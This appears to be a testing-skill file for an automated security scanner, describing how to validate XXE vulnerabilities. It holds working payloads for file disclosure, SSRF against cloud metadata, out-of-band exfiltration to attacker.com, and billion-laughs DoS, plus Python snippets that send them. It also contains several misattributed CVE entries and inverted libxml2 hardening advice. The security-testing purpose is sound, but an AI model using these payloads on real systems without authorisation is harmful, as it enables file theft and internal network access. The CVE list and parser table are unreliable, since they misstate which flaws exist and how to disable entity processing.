XML External Entity (XXE) Injection Testing Skill
Purpose
Validate XXE vulnerabilities by injecting malicious XML documents containing external entity references and observing:
- •File disclosure via
file://protocol - •Server-Side Request Forgery (SSRF) via
http://or other protocols - •Denial of Service via entity expansion (billion laughs) or large file reads
- •Blind XXE via out-of-band DNS/HTTP callbacks
- •Error-based extraction via parser error messages containing file contents
Vulnerability Types Covered
1. Classic XXE / File Disclosure (CWE-611)
Read local files by defining external entities pointing to file:// URIs.
Detection Methods:
- •Inject
<!ENTITY xxe SYSTEM "file:///etc/passwd">and reference&xxe; - •Look for file contents in response body or error messages
Example Payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
2. SSRF via XXE (CWE-611, CWE-918)
Make server-side requests to internal/external resources.
Detection Methods:
- •Inject
<!ENTITY xxe SYSTEM "http://internal-server:8080/"> - •Monitor for outbound requests to controlled domains
- •Access cloud metadata endpoints (
http://169.254.169.254/)
Example Payload:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <foo>&xxe;</foo>
3. Blind XXE / Out-of-Band (OOB) (CWE-611)
Exfiltrate data when response is not reflected, using external DTD + parameter entities.
Detection Methods:
- •Host external DTD on attacker-controlled server
- •Use parameter entities to encode file contents in HTTP/DNS requests
- •Monitor callback server for data exfiltration
Example Payload:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <foo>test</foo>
evil.dtd (on attacker server):
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;
4. Error-Based XXE (CWE-611)
Extract file contents via parser error messages.
Detection Methods:
- •Trigger XML parsing errors that include file contents
- •Use non-existent file references that leak partial data
Example Payload:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <foo>test</foo>
5. Denial of Service (DoS) via XXE (CWE-611, CWE-776)
Exhaust server resources via recursive entity expansion or large file reads.
Detection Methods:
- •"Billion Laughs" attack (exponential entity expansion)
- •Reference
/dev/randomor large files - •Monitor for server slowdown or crash
Example Payload (Billion Laughs):
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <lolz>&lol4;</lolz>
6. XInclude Attacks (CWE-611)
When DOCTYPE is blocked but XInclude processing is enabled.
Detection Methods:
- •Use
<xi:include>instead of DOCTYPE entities - •Works when application uses partial XML parsing
Example Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
7. SVG/Office Document XXE (CWE-611)
XXE via file upload of SVG images or Office documents (DOCX, XLSX, PPTX).
Detection Methods:
- •Upload SVG with embedded XXE payload
- •Modify Office document XML parts (document.xml, [Content_Types].xml)
Example SVG Payload:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text x="10" y="20">&xxe;</text> </svg>
Platform/Parser-Specific Notes
| Platform/Parser | Default Behavior | Notes |
|---|---|---|
| Java (DOM/SAX) | XXE enabled by default | Disable via setFeature() |
| PHP (libxml) | XXE enabled < PHP 8.0 | Use libxml_disable_entity_loader(true) |
| Python (lxml) | XXE disabled by default | Enable with resolve_entities=True |
| .NET (XmlDocument) | XXE enabled by default | Set XmlResolver = null |
| libxml2 | XXE enabled by default | Use XML_PARSE_NOENT flag |
Prerequisites
- •Target application that accepts/parses XML input
- •Identified XML injection points (API endpoints, file uploads, SOAP services)
- •For blind XXE: controlled callback server (collaborator domain)
- •VULNERABILITIES.json with suspected XXE findings if provided
Testing Methodology
Phase 1: Identify XML Parsing Points
- •SOAP/REST endpoints accepting XML bodies
- •File upload handlers (SVG, DOCX, XLSX, XML config files)
- •XML-RPC services
- •RSS/Atom feed parsers
- •SAML/OAuth endpoints processing XML assertions
Phase 2: Establish Baseline
- •Send well-formed XML without entities
- •Note response format, status, and timing
- •Check Content-Type handling (does server accept
application/xml?)
Phase 3: Execute XXE Tests
Classic XXE (File Disclosure):
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text or "/bin/bash" in resp.text:
status = "VALIDATED"
SSRF via XXE:
payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal:8080/admin">
]>
<foo>&xxe;</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "admin" in resp.text or resp.status_code != 400:
status = "VALIDATED"
Blind XXE (OOB):
payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://{collaborator}/evil.dtd">
%xxe;
]>
<foo>test</foo>'''
post("/api/parse", data=payload, content_type="application/xml")
if collaborator_received_request():
status = "VALIDATED"
XInclude:
payload = '''<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>'''
resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text:
status = "VALIDATED"
Phase 4: Classification Logic
| Status | Meaning |
|---|---|
| VALIDATED | File contents returned, SSRF confirmed, or OOB callback received |
| FALSE_POSITIVE | DTD/entities disabled, no file disclosure or callbacks |
| PARTIAL | Parser accepts DTD but entity expansion blocked |
| UNVALIDATED | Blocked by WAF, error, or insufficient evidence |
Validation Criteria:
- •File contents (e.g.,
/etc/passwd,win.ini) appear in response - •SSRF to controlled domain confirmed via callback
- •Blind XXE confirmed via DNS/HTTP interaction
- •Error messages contain file path or partial contents
Phase 5: Capture Evidence
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
- •
status,injection_type,cwe - •Request details (url, method, payload, content-type)
- •Response snippet showing file disclosure or SSRF result
- •Callback details for blind XXE (timestamp, source IP)
Phase 6: Safety Rules
- •Detection-only payloads; target benign files (
/etc/passwd,win.ini,/etc/hostname) - •NEVER target sensitive credentials (
/etc/shadow, private keys, database configs) - •Use minimal DoS payloads (low recursion depth) for testing; stop immediately if slowdown detected
- •Only use OOB callbacks to controlled domains you own
- •Clean up external DTD files after testing
- •Respect rate limits; avoid triggering security alerts
Output Guidelines
- •Keep responses concise (1-4 sentences)
- •Include endpoint, payload type, and impact
Validated examples:
XXE file disclosure on /api/xml - file:///etc/passwd content returned (CWE-611). Arbitrary file read possible. Blind XXE on /upload - OOB callback received to collaborator (CWE-611). Data exfiltration risk confirmed. SSRF via XXE on /soap - internal service response reflected (CWE-611, CWE-918). Internal network access. XInclude XXE on /parse - file:///etc/hostname disclosed via xi:include (CWE-611). DOCTYPE blocked but XInclude enabled.
Unvalidated example:
XXE test incomplete on /api/data - DTD appears disabled (no entity expansion). Evidence: path/to/evidence.json
CWE Mapping
Primary CWE (DAST-testable):
- •CWE-611: Improper Restriction of XML External Entity Reference
- •This is THE designated CWE for XXE vulnerabilities
- •Alternate terms: XXE, XML eXternal Entity, XML Entity Injection
- •OWASP Top Ten 2017 A4, 2021 A05 (Security Misconfiguration)
Related CWEs (context):
- •CWE-827: Improper Control of Document Type Definition — related to DTD handling issues
- •CWE-776: Improper Restriction of Recursive Entity References in DTDs — "Billion Laughs" DoS
- •CWE-918: Server-Side Request Forgery (SSRF) — XXE can enable SSRF attacks
- •CWE-610: Externally Controlled Reference to a Resource in Another Sphere — parent class
- •CWE-20: Improper Input Validation — related root cause
- •CWE-200: Exposure of Sensitive Information — consequence of XXE
Related Attack Patterns:
- •CAPEC-221: Data Serialization External Entities Blowup
- •CAPEC-201: Serialized Data External Linking
OWASP Classification:
- •OWASP Top Ten 2017: A4 - XML External Entities (XXE)
- •OWASP Top Ten 2021: A05 - Security Misconfiguration
Notable CVEs (examples)
- •CVE-2025-66516 (Apache Tika): Critical XXE (CVSS 10.0) via XFA forms in PDFs; affects tika-core 1.13-3.2.1.
- •CVE-2025-54988 (Apache Tika): XXE in PDF parser module leading to file disclosure and SSRF.
- •CVE-2021-21234 (Spring Boot): XXE in log4j configuration parsing (log4j pre-2.16).
- •CVE-2020-5245 (Dropwizard): XXE via YAML parsing with SnakeYAML.
- •CVE-2019-0227 (Apache Axis): SSRF via XXE in SOAP messages.
- •CVE-2018-1000001 (Libreoffice): XXE via malicious ODT document.
- •CVE-2017-9506 (Jira): Blind XXE allowing internal network scanning.
- •CVE-2014-3529 (Apache POI): XXE in Office document parsing.
Safety Reminders
- •ONLY test against user-approved targets; stop if production protections trigger
- •Use benign file paths for disclosure testing (e.g.,
/etc/passwd, not/etc/shadow) - •Minimal DoS payloads only; immediately abort if server impact detected
- •OOB callbacks only to domains you control
- •Disable external entity processing in production via parser configuration
- •Prefer JSON over XML where possible to eliminate XXE attack surface
Reference Implementations
- •See
reference/xxe_payloads.pyfor XXE payloads by attack type - •See
reference/validate_xxe.pyfor XXE-focused validation flow - •See
examples.mdfor concrete XXE scenarios and evidence formats